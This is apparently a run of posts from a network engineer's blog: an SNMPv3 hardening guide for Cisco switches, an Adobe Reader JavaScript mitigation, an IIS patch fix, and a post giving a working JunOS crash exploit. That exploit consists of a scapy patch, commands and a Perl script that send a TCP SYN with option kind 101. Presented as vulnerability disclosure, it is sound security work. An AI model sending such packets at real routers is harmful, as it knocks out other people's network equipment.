evilrouters.net

Configuring SNMPv3 on Cisco Catalyst switches is pretty simple and is MUCH preferred over v1 or v2. SNMPv3 has three big benefits:

• authentication — we can be assured that the message originated from a valid source
• integrity — we can be assured that a packet has not been modified in transit
• encryption — no more plain-text SNMP data flying around our network

First off, we need to decide what hosts should be allowed to query our switch using SNMP. In my case, this is a single host with the IP address 192.0.2.13. We’ll create a new access control list (ACL) on the switch to restrict access to SNMP.

c3550# conf t
Enter configuration commands, one per line.  End with CNTL/Z.
c3550(config)# ip access-list standard SNMP
c3550(config-std-nacl)# permit host 192.0.2.13
c3550(config-std-nacl)# deny any log
c3550(config-std-nacl)# exit
c3550(config)#

Next, we’ll set the system contact and system location for the device. These values are just free-text, so you can enter whatever you want. In production, you’ll like want to use something meaningful, especially when it comes to the device location.

c3550(config)# snmp-server location Bloomington, IN, USA
c3550(config)# snmp-server contact jeremy@evilrouters.net

Now, we want to create a “view” that restricts what data our SNMP user will be able to access. I’ll create a view named “MIB-2″ and allow access to the “mib-2″ MIB.

c3550(config)# snmp-server view MIB-2 mib-2 included

With our view created, we’ll create a group (“READONLY”) and assign it the read view that we just created

c3550(config)# snmp-server group READONLY v3 priv read MIB-2

Our last step is to actually create an SNMPv3 user. Here, I’ll create a user named “cacti” with randomly generated authentication and privacy passwords (used for authentication and encryption). We’ll use the HMAC SHA algorithm for authentication and 128-bit AES encryption. In addition, we’ll associate the “SNMP” ACL that we created earlier with this user.

Note #1: The passwords used here were randomly generated using “pwgen 16 2″ on FreeBSD.

Note #2: I’ve broken this command up over two lines, but the whole thing should be entered on one line.

c3550(config)# snmp-server user cacti READONLY v3 auth sha 5mJwYWFmjcgHVEP8
     priv aes 128 16Y8HHbd81nHJgYq access SNMP

Exit global configuration mode and save the config.

c3550(config)# end
c3550# wr
Building configuration...
[OK]
c3550#

We should be all set. To verify, I’ll test with “snmpget” on my FreeBSD box (192.0.2.13), which is permitted by the “SNMP” ACL I created.

[jlgaddis@homer ~]$ snmpget -v 3 -u cacti -l authPriv -a sha -A 5mJwYWFmjcgHVEP8 \
-x aes -X 16Y8HHbd81nHJgYq 198.18.0.2 sysContact.0
SNMPv2-MIB::sysContact.0 = STRING: jeremy@evilrouters.net

That’s all there is to setting up SNMPv3. Now stop using the insecure v1 and v2 on your production networks!

Photo from gr33ndata.

I just quickly hacked up scapy so that it would support sending TCP packets with option kind 0×65 (decimal 101). A diff is below (basically, just need to add two lines).

For reference, I’m on a FreeBSD 8.0 box running scapy 2.1.0 (from ports). inet.py is located in /usr/local/lib/python2.6/site-packages/scapy/layers.

$ diff inet.py inet.py.bak
203,204c203
<                 15 : ("AltChkSumOpt",None),
<                 101 : ("JunOS",None)
---
>                 15 : ("AltChkSumOpt",None)
215d213
<                 "JunOS":101
$

Once we've done that, we can then use scapy to launch a JunOS killin' packet for us!

$ sudo scapy
Welcome to Scapy (2.1.0)
>>> p=IP(dst='192.168.1.61')/TCP(dport=23,flags='S',options=[('JunOS', '')])
>>> send(p)
.
Sent 1 packets.
>>>

The box, of course, crashed and rebooted immediately.

This code works for me, over and over again. Let me know if it works for you. Sorry about the shitty quality of the video, all I had handy was my Blackberry.

UPDATE: I’ve posted a much better video of the crash in action.

$ cat junos-crash.pl 
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;

Now can I see your advisory, Juniper?

UPDATE: Nevermind, Juniper, I found it.

Yesterday, December 15th, Adobe posted APSA09-07, “Security Advisory for Adobe Reader and Acrobat”, which is summarized as follows:

Adobe has confirmed a critical vulnerability in Adobe Reader and Acrobat 9.2 and earlier versions that could cause a crash and potentially allow an attacker to take control of the affected system. There are reports that this vulnerability is being actively exploited in the wild. Adobe recommends customers follow the mitigation guidance below until a patch is available.

Furthermore, Adobe mentioned that they plan to release an update by January 12, 2010. That’s 28 days — a LONG time for a security vulnerability that is being actively exploited in the wild. Fortunately, there appears to be a simple way to mitigate this vulnerability: disable JavaScript.

For individual users or those not on a corporate network, the easiest way is to simply do the following:

• Launch Adobe Acrobat or Adobe Reader
• Select Edit, then Preferences
• Select the JavaScript category
• Uncheck the “Enable Acrobat JavaScript” option
• Click OK

This should mitigate the issue.

Unfortunately, some of us have hundreds or thousands of desktops and visiting each one to change this setting is not feasible. Luckily, I stumbled across an Administrative Template for a Group Policy Object that was created by Elazar Broad earlier this year, in reference to APSA09-01. For those who may not be completely familiar with creating a Group Policy Object using this Administrative Template to disable the JavaScript functionality domainwide, I have created a video demonstration of how to do so.

First, download the administrative template here, then click here to watch the video.

This is a little “off-topic” from my usual Cisco-related posts (remember, I still do some server-side stuff too!), but we got hit by this so I thought I’d share (thanks to mardraum for letting me know about the solution).

Earlier this week, on Patch Tuesday, Microsoft released KB973917, “Description of the update that implements Extended Protection for Authentication in Internet Information Services (IIS)“. The related update was responsible for hosing a couple of servers that we have that run IIS 6.0 on Windows Server 2003 SP2. A quick fix was to uninstall that update, but Microsoft the next day posted KB2009746, “Internet Information Services 6.0 may not function correctly after installing KB973917“, which describes perfectly the issue we were seeing:

Consider the following scenario. You have an Internet Information Services (IIS) 6.0 web server running on Windows Server 2003 Service Pack 2. The Microsoft update KB973917 gets installed on the server. After installing KB973917, the IIS 6.0 application pools cannot start up successfully. An inspection of the event logs show that the IIS worker processes are terminating unexpectedly, showing event messages similar to the following:

     Event Type: Warning
     Event Source: W3SVC
     Event Category: None
     Event ID: 1009
     Date:  12/9/2009
     Time:  10:55:01 AM
     User:  N/A
     Computer: WEBSERVER01
     Description:
     A process serving application pool 'DefaultAppPool' terminated unexpectedly. The process id was '1234'. 
     The process exit code was '0xffffffff'.

In some cases, the IIS application pool(s) are eventually disabled by the Rapid Fail Protection feature. Users who try browsing to the web sites hosted on the server may complain that the web sites are unavailable and cannot be accessed.

The article goes on to describe the root cause…

Previous to the installation of the KB973917 update, one or more of the core IIS .dll files were not at the correct file version. Specifically, the earlier installation of Windows Server 2003 Service Pack 2 on the server did not complete successfully, leaving some of the IIS .dlls at the Service Pack 1 level while bringing others up to the Service Pack 2 level. The IIS services had been able to run successfully even with that file mismatch in place. However, the installation of the KB973917 update exposes this pre-existing file mismatch environment to the degree that IIS is now unable to function properly.

…as well as the resolution…

To resolve this problem, reinstall Service Pack 2 for Windows Server 2003 on the web server. This will bring all IIS 6.0 components up to the correct file versions, and will maintain the installation of the KB973917 update. Reinstalling the KB973917 update should not be necessary.

I can confirm that reinstalling SP2 for Windows Server 2003 does, indeed, fix the issue (for us, at least!). We reinstalled KB973917 afterwards and both affected servers are fine.